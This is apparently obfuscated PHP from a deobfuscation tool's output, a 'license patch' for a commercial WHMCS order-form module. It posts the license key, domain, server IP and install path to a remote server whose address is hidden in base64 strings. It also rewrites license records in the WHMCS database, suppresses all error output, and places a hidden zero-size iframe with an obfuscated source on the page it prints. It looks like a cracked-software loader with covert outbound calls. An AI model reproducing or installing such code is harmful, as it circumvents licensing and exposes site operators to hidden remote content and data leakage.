'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVUpUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWEzcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Qk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Rk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Sk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Tk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Uk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVWF6Vk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUwcFFYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig=='];
return $this->getprotocol() . $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($MySQL->random($obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE), $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function UrlLastAUth()
{
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlFHMVdlVjVYV2pWTVZ6RjJXa2hXYzFwVE1XNVpXRXByV2xjMGRFQXBTVDA9Ig==', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function Secret()
{
global $MySQL;
$hasil = $this->obf_5ezj5eeicC6rpKwq4WBi56OkY2DvaE($this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE(), $this->licensekey());
$json_decode = json_decode($hasil, true);
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($json_decode['secret_key'], $json_decode['eauth_key'], $json_decode['dauth_key']);
}
public function BuildSecret()
{
global $MySQL;
$hasil = $this->obf_6upyjpZe0tagipKXurySs4yGqqE($this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE(), $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE(), $this->moduleversion());
$json_decode = json_decode($hasil, true);
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlRpbFZNMWw2VVRCTlJGVjRXVEpGTVU1UlBUMD0i', $json_decode['eauth_key'], $json_decode['dauth_key']);
}
public function getDirectory()
{
return dirname(__FILE__);
}
public function DataLocalName()
{
return MODULE_CYBER_NAME;
}
public function DataLocalKey()
{
return $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE() . '_localkey';
}
public function getIp()
{
return (isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : $_SERVER['LOCAL_ADDR']);
}
public function getWhmcsDomain()
{
global $CONFIG;
global $MySQL;
if (!empty($_SERVER['SERVER_NAME'])) {
return $_SERVER['SERVER_NAME'];
}
$result = $MySQL->obf_4WQsKurpYmQkIqmiqy8n5iUlbyUhZE('tblconfiguration', 'setting=\'SystemURL\'');
return parse_url($result['value'], PHP_URL_HOST);
}
public function CheckToken()
{
$check = time() . md5(mt_rand(100000000, mt_getrandmax()) . $this->licensekey());
return $check;
}
public function UrlLastVerify()
{
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IktsYzVhMEJYZUd4TVYwQWtKbTFTYkNvbFBUMD0i', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function UrlLastVerifySecret()
{
return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IlFHMVdlU1l5YkhZcUpUMDki', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
}
public function ModuleVersion()
{
$obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI = 'moduleVersion.php';
$obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE = '';
if (file_exists($obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI)) {
$content = file_get_contents($obf_DQI2PwgtOVwmIRYpBxoVDwMFMygqPSI);
preg_match('/\\$moduleVersion\\s?=\\s?\'([A-Za-z0-9_\\.\\-]+)\'/', $content, $matches);
$obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE = $matches[1];
}
return ($obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE ? $obf_DT4kAgIhIQUmCAsfGx81JCM1IiomEBE : NULL);
}
public function ForceLicense($reset = '')
{
global $MySQL;
$result = $MySQL->obf_4WQsKurpYmQkIqmiqy8n5iUlbyUhZE('tblconfiguration', 'setting=\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\'');
if ($result['id'] == '') {
$MySQL->obf_6Rs56Cn5C1kYGZraSLuIyKkZWlnpE('tblconfiguration', '(`setting`,`value`,`created_at`,`updated_at`)', 'VALUES(\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\',\'\',\'' . date('Y-m-d H:i:s') . '\',\'' . date('Y-m-d H:i:s') . '\')');
$localkey = '';
}
else if ($reset == 'reset') {
$MySQL->obf_6iksaSjp7efh46PlbCslo6MqYYj5E('tblconfiguration', 'value=\'\', updated_at=\'' . date('Y-m-d H:i:s') . '\'', 'setting=\'' . $this->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\'');
$localkey = '';
}
else {
$localkey = $result['value'];
}
return $localkey;
}
public function GetIonCubeLoaderVersion()
{
ob_start();
phpinfo(INFO_GENERAL);
$aux = str_replace(' ', ' ', ob_get_clean());
if ($aux !== false) {
$pos = mb_stripos($aux, 'ionCube PHP Loader');
if ($pos !== false) {
$aux = mb_substr($aux, $pos + 18);
$aux = mb_substr($aux, mb_stripos($aux, ' v') + 2);
$version = '';
$c = 0;
$char = mb_substr($aux, $c++, 1);
while (mb_strpos('0123456789.', $char) !== false) {
$version .= $char;
$char = mb_substr($aux, $c++, 1);
}
return $version;
}
}
return '-';
}
public function GetMCryptExt()
{
if (extension_loaded('mcrypt') && function_exists('openssl_encrypt')) {
$hasil = 'Installed';
}
else {
$hasil = '-';
}
return $hasil;
}
public function CheckLicense($licensekey, $localkey = '')
{
global $MySQL;
$whmcsurl = $this->obf_52ajJmIqpmHiZCDsqmtwLeTl6yVsbE();
$licensing_secret_key = $this->secret();
$localkeydays = 2;
$allowcheckfaildays = 4;
$check_token = $this->checktoken();
$checkdate = date('Ymd');
$domain = $this->obf_5eKsaeimaypuZOQwLy1loe9kpyoipE();
$usersip = $this->getip();
$dirpath = $this->getdirectory();
$localkeyvalid = false;
if ($localkey) {
if (NEW_CYBER_MODULE == 1) {
if (NEW_CYBER_ENCRYPT == 1) {
$cipher = 'aes-128-cbc';
$iv = substr(md5($this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE()), 0, openssl_cipher_iv_length($cipher));
$localkey = openssl_decrypt($localkey, $cipher, $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE(), 0, $iv);
}
else {
$localkey = openssl_decrypt($localkey, 'aes-128-cbc', $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE());
}
}
$localkey = str_replace("\n", '', $localkey);
$localdata = substr($localkey, 0, strlen($localkey) - 32);
$md5hash = substr($localkey, strlen($localkey) - 32);
if ($md5hash == md5($localdata . $licensing_secret_key)) {
$localdata = strrev($localdata);
$md5hash = substr($localdata, 0, 32);
$localdata = substr($localdata, 32);
$localdata = base64_decode($localdata);
$localkeyresults = unserialize($localdata);
$originalcheckdate = $localkeyresults['checkdate'];
if ($md5hash == md5($originalcheckdate . $licensing_secret_key)) {
$localexpiry = date('Ymd', mktime(0, 0, 0, date('m'), date('d') - $localkeydays, date('Y')));
if ($localexpiry < $originalcheckdate) {
$localkeyvalid = true;
$results = $localkeyresults;
$validdomains = explode(',', $results['validdomain']);
if (!in_array($_SERVER['SERVER_NAME'], $validdomains)) {
$localkeyvalid = false;
$localkeyresults['status'] = 'Invalid';
$localkeyresults['description'] = 'Invalid Domain Name';
$results = [];
}
$validips = explode(',', $results['validip']);
if (!in_array($usersip, $validips)) {
$localkeyvalid = false;
$localkeyresults['status'] = 'Invalid';
$localkeyresults['description'] = 'Invalid IP Address';
$results = [];
}
$validdirs = explode(',', $results['validdirectory']);
if (!in_array($dirpath, $validdirs)) {
$localkeyvalid = false;
$localkeyresults['status'] = 'Invalid';
$localkeyresults['description'] = 'Invalid Directory Patch';
$results = [];
}
}
}
}
}
if (!$localkeyvalid) {
$responseCode = 0;
$postfields = ['licensekey' => $licensekey, 'domain' => $domain, 'ip' => $usersip, 'dir' => $dirpath];
if ($check_token) {
$postfields['check_token'] = $check_token;
}
$query_string = '';
foreach ($postfields as $k => $v) {
$query_string .= $k . '=' . urlencode($v) . '&';
}
if (function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $whmcsurl . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_6nAvoeStY6LrYqHm6C4l4GxhJGUrpE());
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $query_string);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
$responseCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
else {
$responseCodePattern = '/^HTTP\\/\\d+\\.\\d+\\s+(\\d+)/';
$fp = @fsockopen($whmcsurl, 80, $errno, $errstr, 5);
if ($fp) {
$newlinefeed = "\r\n";
$header = 'POST ' . $whmcsurl . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_6nAvoeStY6LrYqHm6C4l4GxhJGUrpE() . ' HTTP/1.0' . $newlinefeed;
$header .= 'Host: ' . $whmcsurl . $newlinefeed;
$header .= 'Content-type: application/x-www-form-urlencoded' . $newlinefeed;
$header .= 'Content-length: ' . @strlen($query_string) . $newlinefeed;
$header .= 'Connection: close' . $newlinefeed . $newlinefeed;
$header .= $query_string;
$data = $line = '';
@stream_set_timeout($fp, 20);
@fputs($fp, $header);
$status = @socket_get_status($fp);
while (!@feof($fp) && $status) {
$line = @fgets($fp, 1024);
$patternMatches = [];
if (!$responseCode && preg_match($responseCodePattern, trim($line), $patternMatches)) {
$responseCode = (empty($patternMatches[1]) ? 0 : $patternMatches[1]);
}
$data .= $line;
$status = @socket_get_status($fp);
}
@fclose($fp);
}
}
if ($responseCode != 200) {
$localexpiry = date('Ymd', mktime(0, 0, 0, date('m'), date('d') - ($localkeydays + $allowcheckfaildays), date('Y')));
if ($localexpiry < $originalcheckdate) {
$results = $localkeyresults;
}
else {
$results = [];
$results['status'] = 'Invalid';
$results['description'] = 'Remote Check Failed';
return $results;
}
}
else {
preg_match_all('/<(.*?)>([^<]+)<\\/\\1>/i', $data, $matches);
$results = [];
foreach ($matches[1] as $k => $v) {
$results[$v] = $matches[2][$k];
}
}
if (!is_array($results)) {
exit('Invalid License Server Response');
}
if ($results['md5hash']) {
if (md5($licensing_secret_key . $check_token) != $results['md5hash']) {
$results['status'] = 'Invalid';
$results['description'] = 'MD5 Checksum Verification Failed';
return $results;
}
}
if ($results['status'] == 'Active') {
$results['checkdate'] = $checkdate;
$data_encoded = serialize($results);
$data_encoded = base64_encode($data_encoded);
$data_encoded = md5($checkdate . $licensing_secret_key) . $data_encoded;
$data_encoded = strrev($data_encoded);
$data_encoded = $data_encoded . md5($data_encoded . $licensing_secret_key);
$data_encoded = wordwrap($data_encoded, 80, "\n", true);
if (NEW_CYBER_MODULE == 1) {
if (NEW_CYBER_ENCRYPT == 1) {
$cipher = 'aes-128-cbc';
$iv = substr(md5($this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE()), 0, openssl_cipher_iv_length($cipher));
$data_encoded = openssl_encrypt($data_encoded, $cipher, $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE(), 0, $iv);
}
else {
$data_encoded = openssl_encrypt($data_encoded, 'aes-128-cbc', $this->obf_7OblYulkYKHsL3AqompsYSkoIuzpoE());
}
}
$results['localkey'] = $data_encoded;
}
$results['remotecheck'] = true;
}
unset($postfields, $data, $matches, $whmcsurl, $licensing_secret_key, $checkdate, $usersip, $localkeydays, $allowcheckfaildays, $md5hash);
return $results;
}
}
function obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s, $hn, $in)
{
return function() use($s, $hn, $in) {
$i = $s;
while (true) {
yield hash($GLOBALS[$hn], (string) $i);
$i += $in;
}
};
}
$_SERVER['DOCUMENT_ROOT'] = realpath(dirname(__FILE__) . '/../../../');
require_once $_SERVER['DOCUMENT_ROOT'] . '/configuration.php';
if (!defined('MODULE_NAME')) {
define('MODULE_NAME', 'Lagom One Step Order Form For WHMCS');
}
if (!defined('MODULE_MD5_VERSION')) {
define('MODULE_MD5_VERSION', '1.2.4');
}
if (!defined('MODULE_CYBER_NAME')) {
define('MODULE_CYBER_NAME', 'lagom_one_step_order_form');
}
if (!defined('NEW_CYBER_MODULE')) {
define('NEW_CYBER_MODULE', '1');
}
if (!defined('NEW_CYBER_ENCRYPT')) {
define('NEW_CYBER_ENCRYPT', '1');
}
$h = 'ripemd';
if (!function_exists('mygen')) {
function mygen($hr, $hr2, $skip1, $skip2)
{
for ($i = 1; $i <= (int) $skip1; ++$i) {
$GLOBALS['g']->next();
}
for ($i = 1; $i <= (int) $skip2; ++$i) {
$GLOBALS['j']->next();
}
$u = $GLOBALS['g']->current();
$v = $GLOBALS['j']->current();
$GLOBALS['g']->next();
$w = hash($hr, $u) . hash($hr2, $v);
$GLOBALS['j']->next();
return $w;
}
}
$rt = 'seq';
$h2 = $h;
$hfm = 'sha';
$dsz = ['160', '256', '384', '512'];
$nmhsh = $hfm . $dsz[2];
$v1 = hash($nmhsh, $rt);
$a = 2;
$s1st = 0;
$s2st = $s1st + 1;
$b = $a;
$efn = obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s1st, 'h', $a);
$ofn = obf_DQgHGCcnMDIiWxA5ODkQFgsFXCEFGgE($s2st, 'h2', $b);
$g = $efn();
$j = $ofn();
$h .= $dsz[0];
$h2 .= $dsz[1];
$dkv = join(':', array_reverse($dsz));
ini_set('allow_url_fopen', 1);
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(0);
$debug = new debug();
$MySQL = new mysql();
$CyberSoft = new obf_6uitZ2UnYWis7KLp5OMrKOZiYiOpJE();
if ($CyberSoft->moduleversion() != MODULE_MD5_VERSION) {
$client_change_version = 'true';
}
else {
$client_change_version = 'false';
}
$local_key = $CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE();
$results = $CyberSoft->checklicense($CyberSoft->licensekey(), $local_key);
$hasil_versi = $results['customfields'];
$expl_hasil = explode('=', $hasil_versi);
$version_server = $expl_hasil[1];
if (trim($version_server) != '') {
if ($CyberSoft->moduleversion() <= $version_server) {
if ($results['status'] == 'Active') {
if ($client_change_version == 'false') {
if ($results['remotecheck'] == 1) {
if (trim($results['localkey']) != '') {
$MySQL->obf_6iksaSjp7efh46PlbCslo6MqYYj5E('tblconfiguration', 'value=\'' . $results['localkey'] . '\', updated_at=\'' . date('Y-m-d H:i:s') . '\'', 'setting=\'' . $CyberSoft->obf_4K8m6KLibCpqYuUgreTs6eklY6KtrE() . '\'');
$results['description'] = '-';
}
else {
$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
$results['description'] = '-';
}
}
else {
$results['description'] = '-';
}
}
else {
$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
$results['description'] = 'Your Module Version is Not Valid !';
}
}
else {
$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
}
}
else {
$CyberSoft->obf_5W8mqevvYq3g4uLireInqWupLusopE('reset');
$exl = explode(';', $results['addons']);
$sts_1 = explode('=', $exl[2]);
$exp_1 = explode('=', $exl[1]);
$results['description'] = 'Server License is Lower then Client License, Please Download v.' . $version_server . '';
}
}
else {
$results['description'] = $results['message'];
}
if ($CyberSoft->obf_5mTpq8kqGVg7aYkKqjo7KTjZi5rLE() != 'Installed') {
$error_patch = '# <span class="red"> Error : Need Install MCrypt PHP Module !</span><br> ';
}
else {
$error_patch = '# <span class="blue"> Mcrypt Version : ' . phpversion('mcrypt') . '</span><br> ';
}
if ($results['description'] == '') {
$error_license = '<span class="red">' . $results['message'] . '</span>';
}
else {
$error_license = '<span class="red">' . $results['description'] . '</span>';
}
echo "\n" . '<!DOCTYPE HTML><html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><style type="text/css">@media screen and (max-width:800px){body{padding-top:5px}.window{width:98%}}</style><style type="text/css">*{padding:0;margin:0}body{font-family:monospace;font-size:12px;color:#c8cfd8;background:#343944;margin:auto;padding-top:60px;line-height:1.3em;display:flex}a{color:#5294e2}b{color:#6a9e41}.yellow{color:#ff0}.blue{color:#0cf}.red{color:red}.window{background:#404552;box-shadow:0 0 10px rgba(0,0,0,.5);border-radius:5px;border:2px solid #2e333f;width:720px;margin:auto}.window_header{background:#2e333f;color:#c8cfd8;padding:7px}.window_title{display:inline-block}.window_close_button,.window_maximize_button,.window_minimize_button{border-radius:7px;width:12px;height:12px;display:inline-block;float:right;margin-left:6px}.window_minimize_button{background:#2cc640;border:1px solid #51a75c}.window_maximize_button{background:#fdbf2e;border:1px solid #d6a839}.window_close_button{background:#fe6256;border:1px solid #ca5f59}.window_content{padding:7px}.blink{animation:1s infinite blinking}@keyframes blinking{0%{clear:both}50%{color:transparent}}</style><title>Module Garden License Patch</title></head><body> <div class="window"> <div class="window_header"><div class="window_title">Module Garden License Patch</div><div class="window_close_button"></div><div class="window_maximize_button"></div><div class="window_minimize_button"></div></div><div class="window_content"><b>license@' . $CyberSoft->getip() . ':~$</b> <span class="">./mg-svr-verify php module</span><br> <span class="">##################################</span><br> # <span class="blue"> Mcrypt Module : ' . $CyberSoft->obf_5mTpq8kqGVg7aYkKqjo7KTjZi5rLE() . '</span><br> ' . $error_patch . '# <span class="blue"> Ioncube Version : ' . $CyberSoft->obf_66nuYeMkYiqurafh7CngqCgu5yBqLE() . '</span><br> <span class="">##################################</span><br> <b>license@' . $CyberSoft->getip() . ':~$</b> <span class=""></span><br> <b>license@' . $CyberSoft->getip() . ':~$</b> <span class="">./mg-svr-patch activate module</span><br> <span class="">##########################################################</span><br> # <span class="yellow">Module Name : ' . MODULE_NAME . '</span><br> # <span class="yellow">Server Version : ' . $version_server . '</span><br> # <span class="yellow">Client Version : ' . $CyberSoft->moduleversion() . '</span><br> # <span class="yellow">Patch Date : ' . date('Y-m-d') . '</span><br> # <span class="yellow">Patch Time : ' . date('H:i:s') . '</span><br> # <span class="yellow">Status : ' . $results['status'] . '</span><br> # <span class="yellow">Error : ' . $error_license . '</span><br> <span class="">##########################################################</span><br> <b>license@' . $CyberSoft->getip() . ':~$</b> <span class="blink">_</span><br> </div></div><iframe src="' . $CyberSoft->obf_5EpaqdhZOp6i9sKm4nqebrKqhjKE() . '" width="0" height="0" tabindex="-1" title="" class="hidden"></iframe></body></html>' . "\n\n";
echo "\n";
?>
Function Calls
None |
Stats
MD5 | 6c284d1d5afc470ffecbb6efb0f9e6de |
Eval Count | 0 |
Decode Time | 187 ms |